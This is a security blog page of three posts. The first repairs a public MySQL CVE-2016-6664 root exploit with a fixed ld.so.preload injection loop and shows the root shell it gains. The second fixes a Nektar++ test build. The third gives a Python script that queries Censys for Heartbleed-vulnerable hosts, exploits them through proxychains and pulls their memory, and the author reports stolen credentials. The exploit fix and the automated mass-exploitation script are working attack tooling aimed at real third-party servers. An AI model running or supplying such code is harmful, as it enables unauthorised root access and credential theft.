December 2016
M T W T F S S
« Nov    
 1234
567891011
12131415161718
19202122232425
262728293031  

Mysql CVE-2016-6664 Dawid Golunski’s exploit fails and could crash the entire system

Preamble

The root privilege escalation exploit written by Dawid Golunski did not work out-of-the-box on a mysql vulnerable database server running on WebSecurity Dojo. Although the first exploit (gaining mysql user privileges) did work, after that I could not gain root access by running the shell script designed to exploit CVE-2016-6664:

dojo@dojo2:~$ ./40678 root dojo localhost dvwa
[+] Entering the race loop… Hang in there…
[+] Bingo! Race won (took 4 tries) ! Check out the mysql SUID shell:
[+] Spawning the mysql SUID shell now…
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 🙂
mysql_suid_shell.MYD-4.2$ whoami
mysql

/40679.sh /var/log/mysql/error.log
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 08:09 /tmp/mysqlrootsh
[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n]
/40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 14 15:11 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
cat: /etc/ld.so.preload: Permission denied
[+] The /etc/ld.so.preload file now contains:
chmod: changing permissions of `/etc/ld.so.preload’: Operation not permitted
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 15:11 /tmp/mysqlrootsh
[!] Failed to get root

The issue

First thing: WebSecurity Dojo is Ubuntu-based, and it does not use mysqld_safe. It executes “mysqld” directly, so if you try to run this exploit it does not do as promised because there is no way mysqld_safe is going to re-create the error.log file as soon as mysqld is killed. After making sure mysqld_safe is executed, still I cannot get the exploit working because the /etc/ld.so.preload file is owned by root and therefore the malicious /tmp/privesclib.so cannot be loaded:

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 16 03:06 /etc/ld.so.preload

Got it. Executing ‘killall mysqld’ now…
./40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied

So the script fails to deliver a root shell. The flaw resides in assuming that whenever /etc/ld.so.preload exists, it is owned by mysql and thus this code-snippet will end up writing the string “/tmp/privesclib.so” in /etc/ld.so.preload:

while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload
                rm -f $ERRORLOG
                break;
        fi
done

But, as you have clearly seen, the file is temporarily owned by “root” (until the chown mysql is issued by mysqld_safe) and thus the script fails. Moreover, because what we have in /etc/ld.so.preload comes from the mysql log, we’ve got a lot of complaints about the impossibility of pre-loading whatever is inside the /etc/ld.so.preload (bear in mind that this is system-wide). It gets even worse: if you reboot the Virtual Machine, the system crashes. So if you do run this script during a regular pentest engagement, make sure you don’t make the system unusable.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

Fixing

It is safer to make sure that /etc/ld.so.preload has been successfully written before assuming that it has been. To achieve that, I have added a simple loop until the right malicious library is written in /etc/ld.so.preload (another way to fix this could be to increase the time the loop waits for the presence of /etc/ld.so.preload):

echo -ne "Trying to write the ld.so.preload until we sucess ... "
while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload 
                if [ $? -eq 0 ]; then
                        rm -f $ERRORLOG
                        break;
                fi
        fi
done
echo -ne " [DONE!]\n"

Now, if we re-run the exploit, we’ve got the root shell as promised:

[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n] y
Got it. Executing ‘killall mysqld’ now…
Trying to write the ld.so.preload until we sucess … ./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
[DONE!]
+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.2# whoami
root

Be extremely careful if you run this exploit on a real computer; if /etc/ld.so.preload cannot be written with the malicious library, the entire system could stop working.

You can watch a video about this issue HERE.

Nektar++ 4.3.4: all the regression tests fail after a successful compilation

The issue

After successfully compiling Nektar 4.3.4, we proceeded to run the “ctest” command to execute all the regression tests. Unluckily for us, every single one failed:

292/399 Test #292: ADRSolver_Helmholtz3D_CubePeriodic_RotateFace ……………………………….***Failed    0.01 sec
Start 293: ADRSolver_CubeAllElements
293/399 Test #293: ADRSolver_CubeAllElements …………………………………………………***Failed    0.01 sec
Start 294: ADRSolver_ImDiffusion_m12

What was going on behind the scenes

We needed to find out why all the tests failed. It had nothing to do with the LD_LIBRARY_PATH environment variable as discussed here, so I decided to run the ctest utility with the first regression test, adding some debug and verbose flags along the way:

ctest -VV –output-log TEST –output-on-failure -R StdRegions_StdProject1D_Seg_Orth_P6_Q7

This time, I got more information about the error:

5: Test command: /nektar/nektar++-4.3.4/build/tests/Tester “//nektar/nektar++-4.3.4/library/Demos/StdRegions/Tests/StdProject1D_Seg_Orth_P6_Q7.tst”

5: Test timeout computed to be: 9.99988e+06
5: Error occurred running test:
5: Command: StdProject1D-g 1 6 7 1>output.out 2>output.err
5: Files left in /nektar/nektar++-4.3.4/build/library/Demos/StdRegions/tmp_StdProject1D_Seg_Orth_P6_Q7
[HANDLER_OUTPUT]
1/
1 Test #5: StdRegions_StdProject1D_Seg_Orth_P6_Q7 …***Failed 0.01 sec
Error occurred running test:
Command: StdProject1D-g 1 6 7 1>output.out 2>output.err
Files left in /nektar/nektar++-4.3.4/build/library/Demos/StdRegions/tmp_StdProject1D_Seg_Orth_P6_Q7

Have a look at the executable’s name: StdProject1D-g. There was no such binary in our Nektar++ dist directory. We had a StdProject1D executable instead. So the Tester binary (compiled withing the Nektar++ distribution), was looking for binaries with a wrong name. The “-g” literal sounded like “debug” versions of the binaries. That did not make any sense, because we had compiled Nektar++ setting the CMAKE_BUILD_TYPE as  “Release” within the cmake build system. In theory, this setting should have been set the proper flags for the Tester component compilation.

Therefore, I looked inside the Tester.cpp file and I found some comments related to this issue:

// Construct test command to run. If in debug mode, append "-g"
// Output from stdout and stderr are directed to the files output.out
// and output.err, respectively.

Following from Tester.cpp, I ended up reading the file TestData.cpp:

#elif !defined(NDEBUG)
          m_executable += "-g";
#endif

So that was it; without the NDEBUG directive, the Tester program would be generated with all the “debug” versions of the binaries, thus the “-g” literal would be appended to their names. And yet, the binaries that were generated by  compiling Nektar++ were non-debug versions! No wonder why Tester could not find them and all the regression tests failed!

Fixing the issue

The flag that needed to be added to the build process for the Tester program was: -DNDEBUG. So I edited the build/tests/CMakeFiles/Tester.dir/flags.make file in order to add it:

CXX_FLAGS = -Wno-deprecated -DNDEBUG -isystem /nektar/nektar++-4.3.4/build/ThirdParty/dist/include -isystem /nektar/nektar++-4.3.4/ThirdParty/dist/include -isystem /usr/lib/x86_64-linux-gnu/../include -I/usr/lib/openmpi/include -I/usr/lib/openmpi/include/openmpi -I/usr/include/vtk-5.8 -I/nektar/nektar++-4.3.4/build/ThirdParty/libsmvf1.0/lib -I/nektar/nektar++-4.3.4 -I/nektar/nektar++-4.3.4/library -I/nektar/nektar++-4.3.4/solvers -I/nektar/nektar++-4.3.4/utilities -I/nektar/nektar++-4.3.4/tests

After that, I cleaned up and built the Tester program once again:

cd build/tests
make clean
make

Having now the right names for the binaries, I could run the ctest utility without issues at all. All the regression tests worked like a charm. Job done.

Leverage Censys database in your search for well-known vulnerabilities

The Censys Database

Censys is a well-known search engine that allows researches all around the world to ask questions about the hosts and networks that compose The Internet. This is a massive database made of daily zmap and zgrab scans of the entire Ipv4 scope. It can be used free-of-charge and it has its own API with bindings for the most used programming languages, such as Python. So if you need to scan your own huge company network maybe you should consider querying the Censys database instead of running your own zmap scan. If you prefer to query the database offline, you can download part of it to your hard disk and parse it using your own routines. No need to use its API, if you don’t feel like it.

This post will show you how to leverage Censys database in order to look for potential HeartBleed vulnerable servers in all those public servers or devices you could have on the Internet.

Using the search engine

To look for potential HeartBleed vulnerable servers for a particular ip4 class B range, use this expression in the search engine:

W.X.Y.Z/16 and tags: heartbleed

Hopefully you will not get any results. But if you do, make sure all the reported hosts or devices does not have the bug, otherwise you are entirely exposed to anyone that wants to steal data from these hosts. Below, a screen-shot shows that some hosts have been found to be potential vulnerable servers. At least, at the time of scanning they were:

Looking for potential HeartBleed vulnerable servers in Censys Database.

Looking for potential HeartBleed vulnerable servers in Censys Database.

If you don’t set a proper CIDR filter, you will get all the reported hosts that, at the time of scanning, were vulnerable indeed. There are plenty of hosts reported vulnerable, as of writing a total of 229.956 hosts!:

As of writing, there is still an awful lot of potential HeartBleed vulnerable servers on the Internet.

As of writing, there is still an awful lot of potential HeartBleed vulnerable servers on the Internet.

Of course, you can look for any particular service and a lot amount of different tags, so you can actually find almost any particular potential vulnerable server thanks to Censys database without actually performing the scan yourself. All entries have a timestamp that allows you to know when the scan was performed. Chances are that the hosts are not vulnerable or accessible anymore.

 Trying the host

Once you have a list of potential vulnerable servers to the HeartBleed security issue, you can test them and make sure if they are still vulnerable. To do so, choose whatever exploit you prefer (write your own, use Metasploit Framework, or download the python “quick-and-dirty” PoC written by Jared Stafford and modified by Csaba Fitzl). Here we will be using the latter. Download the PoC (written in Python) from here:

https://www.exploit-db.com/download/32764

You can send one TLS packet to the server and check if the response contains 64KB of data:

~$ proxychains python 32764.py ip_vulnerable_host

Trying SSL 3.0…
Connecting…
<><>-OK
Sending Client Hello…
Waiting for Server Hello…
… received message: type = 22, ver = 0300, length = 86
… received message: type = 22, ver = 0300, length = 2144
… received message: type = 22, ver = 0300, length = 4
Sending heartbeat request…
… received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C .@….SC[…r…
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H…9…….
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3….f…..”.
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8………5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 …………….

WARNING: server returned more data than it should – server is vulnerable!

Indeed; this host is still vulnerable.

Automatizing

Thanks to Censys API, you can write a program that looks for particular potential vulnerable servers in the database and then test them to make sure whether they are still vulnerable or not. You can either connect the results to an already developed framework (such as Metasploit), or to your own. The flexibility knowns no bounds. For this particular case, I wrote a simple Python script that leverages Censys API to get a list of potential vulnerable servers to the HeartBleed bug and then launches the previous PoC to make sure whether each hosts is still vulnerable and needs to be patched:

import sys
import os
import signal
import getopt
import censys.ipv4
import urllib2
import subprocess
from subprocess import Popen
 
usage	=	""" HeartBleed data puller, by Toni Castillo Girona
 &lt;toni.castillo@upc.edu&gt;
 
 Usage
  -q QUERY, the query to perform (it will be prepended to "and tags: heartbleed").
  -d, only QUERY the database and do nothing more (no connections to hosts).
  -c    only check for the vulnerability without capturing more than 64KB.
  -t	DELAY, set the timeout in secons between data pulls.
  -l limit, number of max hosts to be returned.
  -h|-? Get a list of valid arguments.
 
 Examples:
  Query the database in order to find potential heartbleed vulnerable servers
  in SPAIN:
   ./heartbleed.py -q "location.country_code: ES and tags: heartbleed"
 
  Locate any potential vulnerable server in the range 161.116.0.0/16 and test
  the vulnerability:
   proxychains ./heartbleed.py -q "X.Y.0.0/16 and tags: heartbleed" -c 2>/dev/null
 
  Perform the same command as before but this time limit the results to two hosts and
  spawn a new data-puller process for every vulnerable server in order to retrieve
  data from them:
   proxychains ./heartbleed.py -q "X.Y.0.0/16 and tags: heartbleed" -l 2 2>/dev/null
 
  Do the same as before but adding an interval of 120 seconds between data pulls:
   proxychains ./heartbleed.py -q "X.Y.0.0/16 and tags: heartbleed" -l 2 -t 120 2>/dev/null
 
  Get the first 20 potential vulnerable hosts over the IPv4 spectrum:
   ./heartbleed.py -d -l 20
"""
 
# The API Keys; you must get a valid account from Censys and fill this
# variables accordingly:
# https://censys.io/register
UID =""
SECRET = ""
 
# Path and name for the Python Exploit PoC:
exploit="32764.py"
 
# Path and name for the Bash script to pull data:
pull = "pull.sh"
 
# Default timeout in seconds between data-pulls, 1 minute:
timeout = 60
 
# By default, the script will not connect to the hosts:
try_host = 0
 
# By default, return all the hosts:
maxhosts = 0
 
# Default query:
query = "tags: heartbleed"
 
# Dry-run; only query the database and do nothing:
dry_run = 0
 
# The ID and SECRET vars must be present or the script will
# not be able to use CENSYS API to retrieve the information:
if UID == "" or SECRET == "":
	print "Please, set the UID and SECRET variables according to your CENSYS account."
	print "Please visit https://censys.io/register for additional information."
	sys.exit(1)
 
# Get the script arguments:
try:
	opts, args = getopt.getopt(sys.argv[1:],"dq:l:t:ch?")
except getopt.GetoptError as err:
	print " [*] ERROR: %s" % str(err)
	sys.exit(1)
 
# Process the arguments
for option, value in opts:
	# Only query the database, don't try to check the vulnerability.
	# This ignores -t and -c
	if option == "-d":
		dry_run = 1
	# Set the query:
	if option == "-q":
		query = value
	# Set the timeout
	if option == "-t":
		try:
			timeout = int(value)
		except:
			print value , " is not a valid numeric value."
			sys.exit(1)
	# Connect to the hosts?:
	if option == "-c":
		try_host = 1
	# Set the total number of hosts to be returned:
	if option == "-l":
		try:
			maxhosts = int(value)
		except:
			print value, " is not a valid numeric value."
			sys.exit(1)
	# Help:
	if option in ("-h","-?"):
		print usage
		sys.exit(0)
 
ipv4s = censys.ipv4.CensysIPv4(UID, SECRET)
 
# The fields we want in the resultset. Apart from the web, the field "tags"
# will hold any additional opened port for any host in the database:
fields = ["ip", "protocols"]
 
# Command pool for "data-pulling":
pulling = []
 
host = 1
vuln = 0
 
# Query and iterate throught Censys Database:
for ip in ipv4s.search(query):
 
	# We have reached the last host to be returned:
	if maxhosts >0 and host > maxhosts:
		break
 
	ports = ""
   	# Let's parse the protocols field:
	for port in ip["protocols"]:
		ports += port + " "
 
	#Let's get when this entry has been updated in the database:
	updated = ipv4s.view(ip["ip"])
 
	# Print this host ip and ports:
	print ip["ip"] , "Ports: [" , ports , "]" , "Updated at: " , updated["updated_at"],
 
	# In case we have set the "-c" flag, it will try to capture the first 64KB-chunk
	# of data. Otherwise, it will spawn a new thread in order to start the data
	# pulling procedure.
	# Of course, the first 64KB-chunk pulling happens always!
	if dry_run == 0:
 
		# Prepare the command to be executed:
		cmd = "./" + exploit + " " + ip["ip"] + " >/dev/null"
		cmd_pull = "./" + pull + " " + ip["ip"] + " " + str(timeout) + "s >/dev/null"
 
		# Test the vulnerability by sending ONE packet:
		res = subprocess.call(cmd,shell=True)
		if res == 0:
			vuln = 1
			print "VULNERABLE"
		else:
			vuln = 0
			print "MAYBE NOT VULNERABLE / ERROR"
 
		# If we want to test the vulnerability and nothing else,
		# get the next potential vulnerable host; otherwise
		# spawn a new process and start capturing data:
		if try_host == 0 and vuln==1:
			# Add this new command to the pool:
			pulling.append(cmd_pull)
         else:
           print
 
    host+=1
 
# After gathering all the vulnerable hosts, start collecting data in parallel.
# If the flag "-d" has been set, len(pulling)=0, therefore nothing will be done:
if try_host == 0 and len(pulling)>0:
    print "Spawning", len(pulling), "processes for pulling data ..."
    ps = [Popen(c, shell=True, preexec_fn=os.setsid) for c in pulling]
    # The processes will be executed in parallel.
    # We allowed here to kill all the spawning processes at will:
    while 1:
        print "Kill the processes [yY]?: ",
        key = raw_input()
        if key in ("Y","y"):
            for p in ps:
                print "Killing process", p.pid
                os.killpg(os.getpgid(p.pid), signal.SIGKILL)
            # Exit the script:
            sys.exit(0)
 
sys.exit(0)

This script allows me to start a new parallel process for each proven vulnerable host to start pulling data from its memory, storing it in its own log file for further analysis. As you can see, it is a piece of cake to write a quick-and-dirty script that takes advantage of the Censys Database in order to look for potential vulnerable servers and use that information to either test or exploit the vulnerable servers automatically. Unluckily for us, the bad ones are doing precisely so.

Running my script

Setting a filter to make sure my script only searchs for potential HeartBleed vulnerable servers in a certain Ipv4 range, I found a bunch of them. With the -l flag, my script limit the results to the first two vulnerable hosts, then tests them and spawns 2 processes to start pulling data from their memory. After a while, I stop the processes and the data-pulling ends:

proxychains ./heartbleed.py -q “X.Y.0.0/16 and tags: heartbleed” -l 2 2>/dev/null
ProxyChains-3.1 (http://proxychains.sf.net)
X.Y.Z.187 Ports: [ 443/https ] Updated at: 2016-06-24T09:11:39+00:00 VULNERABLE
X.Y.Z.123 Ports: [ 443/https ] Updated at: 2016-04-20T20:18:29+00:00 VULNERABLE
Spawning 2 processes for pulling data …
Kill the processes [yY]?: y
Killing process 18680
Killing process 18681

Having a look at the log files, I found some credentials, as shown in the next screen-shot:

Stolen credentials from a vulnerable server's memory.

Stolen credentials from a vulnerable server’s memory.

Conclusions

Censys database is a massive place to look for potential vulnerable servers. It can be used in so many ways; this post has given an example of how to leverage it and use its API.